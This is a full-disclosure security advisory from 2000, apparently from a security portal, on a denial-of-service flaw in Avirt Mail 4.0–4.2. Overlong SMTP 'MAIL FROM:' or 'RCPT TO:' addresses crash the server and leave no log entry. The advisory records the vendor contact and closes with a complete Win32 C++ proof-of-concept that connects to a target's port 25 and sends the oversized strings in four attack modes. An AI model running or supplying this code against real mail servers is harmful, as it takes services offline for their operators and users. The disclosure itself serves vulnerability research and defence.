[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Avirt Mail 4.x DoS

Title: Avirt Mail 4.x DoS
Released by:
Date: 23rd October 2000
Printable version: Click here
-



Issue:

------

Avirt Mail 4.x up to latest version is vulnerable to denial of service

while handling a SMTP session.



Tested versions:

----------------

Avirt Mail 4.0 (build 4124) - vulnerable

Avirt Mail 4.2 (build 4807) - vulnerable



Both versions where tested on Windows 98 since I do not have access to

the more expensive Windows systems, however any win32 system ought to

be vulnerable.



Details:

--------

When connecting to port 25 on a computer running any of the above

mentioned versions of Avirt Mail, it is possible to crash the server by

supplying an unusually long from- or recieptant-address. The crash

occurs when the connection to the client is closed.



If 272 or more characters are supplied after "RCPT TO:" the server will

crash as soon as the session is closed and no more connections will

be allowed until the server has been restarted. The attack will not be

logged by Avirt Mail. The server will crash both if the session is

aborted before completing the mail or if a "DATA" command is sent.

Wether the connection is closed by quit or by a dropped connection

makes no difference.



If 556 or more characters are supplied after "MAIL FROM:" there are

two possible outcomes:



1. If "RCPT TO:" and "DATA" commands are appended, the server will not

crash, the server will store the message with the search-path to the

SMTPOut directory at the end of the FROM-line. If a real TO-address

where to be used, this will processed as a normal mail. No exception

log will be made.



2. If the session is aborted directly after the "MAIL FROM:" command,

the server will crash without logging the attack and no more connections

will be allowed before the server is restarted.



Specification:

--------------

These flaws are probably due to insufficient bounds-checking somewhere

in the code, leading to an overflow in either the array holding the

from- or recieptant-address.



The flaws are demonstrated in the attached code (win32 console code).

The program when compiled takes two arguments:



ip-address type



Where type can be one of the following

1 - Overflow in RCPT TO: command.   (aborted session)

2 - Overflow in MAIL FROM: command. (aborted session)

3 - Overflow in RCPT TO: command.   (finnished session)

2 - Overflow in MAIL FROM: command. (finnished session)



>From the researching I have done, these flaws does not seem to be

exploitable (in the means of running arbitary code on the computer

running the server). Therefore, they do not pose as a direct integrity

thread, but mere as a DoS threat.

This conclusion may however be proven wrong.



Complying to the Software License agreement, I have not in any way tried

to reconstruct the sourcecode of Avirt Mail. All conclusions have been

made by examining the in- and out-put of the program and the state of

processor registers at crash-time.



Vendor:

-------

Avirt was informed about this by mail Sep 7 2000, with the notice that

the information was going to be released as full disclosure in 40 days

without further notice if they hadn't issued information by then.

Sep 8 2000 Avirt confirmed the mail and told they had forwarded the

information to their developers.

Avirt has not been in contact since then and no update has been released

on their homepage. More than forty days has passed.



Information about Avirt and a trial version of Avirt Mail can be found at

http://www.avirt.com/



-



/Wersion

martin_o@algonet.se

http://wersion.org/

(this report and the attached file is also available here)





--------------------------------------------------------------------------------





/*

   Small piece of code demonstrating DoS vulnerability in Avirt Mail 4.0-4.2

   wersion@trust-me.com

   Win32 console code

*/

#include 

#include 

#include 

#include 



#define RCPT_SIZE 272

#define FROM_SIZE 556



struct sckssString

{

   char *szBuffer;

   int nSize;

};



char szHELO[] = "HELO anonymous";

char szMAIL[] = "MAIL FROM: ";

char szRCPT[] = "RCPT TO: ";

char szQUIT[] = "QUIT";

char szDATA[] = "DATA\nTest data\n.";



void socksenddata(int socket, sckssString* data)

{

   if(send(socket,data->szBuffer,data->nSize,NULL)!=SOCKET_ERROR)

   {

      cout << "->" << data->szBuffer << endl;

      return;

   }

   else

   {

      cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;

      exit(1);

   }

}



void socksendendline(int socket)

{

   if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return;

   else

   {

      cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;

      exit(1);

   }

}



void socksendanum(int socket, unsigned long int num)

{

   char *tempa = new char[num+1];

   memset(tempa,'A',num);

   tempa[num]=0;

   if(send(socket,tempa,num,NULL)!=SOCKET_ERROR)

   {

      cout << "->" << tempa << endl;

      return;

   }

   else

   {

      cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;

      exit(1);

   }

   delete[] tempa;

}



int main(int argv, char **argc)

{

   if(argv<3)

   {

      cout << "Usage: " << argc[0] << " ip-address type" << endl;

      cout << "Types:" << endl;

      cout << "1 - Overflow in RCPT TO: command.   (aborted session)" << endl;

      cout << "2 - Overflow in MAIL FROM: command. (aborted session)" << endl;

      cout << "3 - Overflow in RCPT TO: command.   (finnished session)" << endl;

      cout << "2 - Overflow in MAIL FROM: command. (finnished session)" << endl;

      exit(1);

   }

   WORD wVersionRequested = MAKEWORD(1,1);

   WSADATA wsaData;

   WSAStartup(wVersionRequested, &wsaData);



   SOCKADDR_IN saExploit;

   saExploit.sin_family = PF_INET;

   saExploit.sin_addr.s_addr = inet_addr(argc[1]);

   saExploit.sin_port = htons(25);



   SOCKET sckExploit = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

   if (sckExploit == INVALID_SOCKET)

   {

      cout << "WSA error (" << WSAGetLastError() << ")" << endl;

      WSACleanup();

      return 1;

   }



   if (connect(sckExploit,(LPSOCKADDR)&saExploit,sizeof(saExploit))==SOCKET_ERROR)

   {

      cout << "WSA error (" << WSAGetLastError() << ")" << endl;

      shutdown(sckExploit,2);

      closesocket(sckExploit);

      WSACleanup();

      return 1;

   }



   sckssString sckssHelo;

   sckssHelo.nSize = strlen(szHELO);

   sckssHelo.szBuffer = new char[sckssHelo.nSize+1];

   strcpy(sckssHelo.szBuffer, szHELO);



   sckssString sckssMail;

   sckssMail.nSize = strlen(szMAIL);

   sckssMail.szBuffer = new char[sckssMail.nSize+1];

   strcpy(sckssMail.szBuffer, szMAIL);



   sckssString sckssRcpt;

   sckssRcpt.nSize = strlen(szRCPT);

   sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1];

   strcpy(sckssRcpt.szBuffer, szRCPT);



   sckssString sckssQuit;

   sckssQuit.nSize = strlen(szQUIT);

   sckssQuit.szBuffer = new char[sckssQuit.nSize+1];

   strcpy(sckssQuit.szBuffer, szQUIT);



   sckssString sckssData;

   sckssData.nSize = strlen(szDATA);

   sckssData.szBuffer = new char[sckssData.nSize+1];

   strcpy(sckssData.szBuffer, szDATA);



   cout << "Beginning session..." << endl;



   switch(atoi(argc[2]))

   {

      case 1:

      {

         socksenddata(sckExploit,&sckssHelo);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssMail);

         socksendanum(sckExploit,5);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssRcpt);

         cout << "Overflowing RCPT TO:" << endl;

         socksendanum(sckExploit,RCPT_SIZE);

         socksendendline(sckExploit);



         cout << "Aborting session before data." << endl;

         socksenddata(sckExploit,&sckssQuit);

         socksendendline(sckExploit);

         break;

      }

      case 2:

      {

         socksenddata(sckExploit,&sckssHelo);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssMail);

         cout << "Overflowing MAIL FROM:" << endl;

         socksendanum(sckExploit,FROM_SIZE);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssRcpt);

         socksendanum(sckExploit,5);

         socksendendline(sckExploit);



         cout << "Aborting session before data." << endl;

         socksenddata(sckExploit,&sckssQuit);

         socksendendline(sckExploit);

         break;

      }

      case 3:

      {

         socksenddata(sckExploit,&sckssHelo);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssMail);

         socksendanum(sckExploit,5);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssRcpt);

         cout << "Overflowing RCPT TO:" << endl;

         socksendanum(sckExploit,RCPT_SIZE);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssData);

         socksendendline(sckExploit);



         cout << "Ending session." << endl;

         socksenddata(sckExploit,&sckssQuit);

         socksendendline(sckExploit);

         break;

      }

      case 4:

      {

         socksenddata(sckExploit,&sckssHelo);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssMail);

         cout << "Overflowing MAIL FROM:" << endl;

         socksendanum(sckExploit,FROM_SIZE);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssRcpt);

         socksendanum(sckExploit,5);

         socksendendline(sckExploit);



         socksenddata(sckExploit,&sckssData);

         socksendendline(sckExploit);



         cout << "Ending session." << endl;

         socksenddata(sckExploit,&sckssQuit);

         socksendendline(sckExploit);

         break;

      }

      default:

      {

         cout << "Type " << argc[2] << " not allowed." << endl;

         break;

      }

   }



   shutdown(sckExploit,2);

   closesocket(sckExploit);

   WSACleanup();

   cout << endl << "Ready!" << endl;

   return 0;

}










(C) 1999-2000 All rights reserved.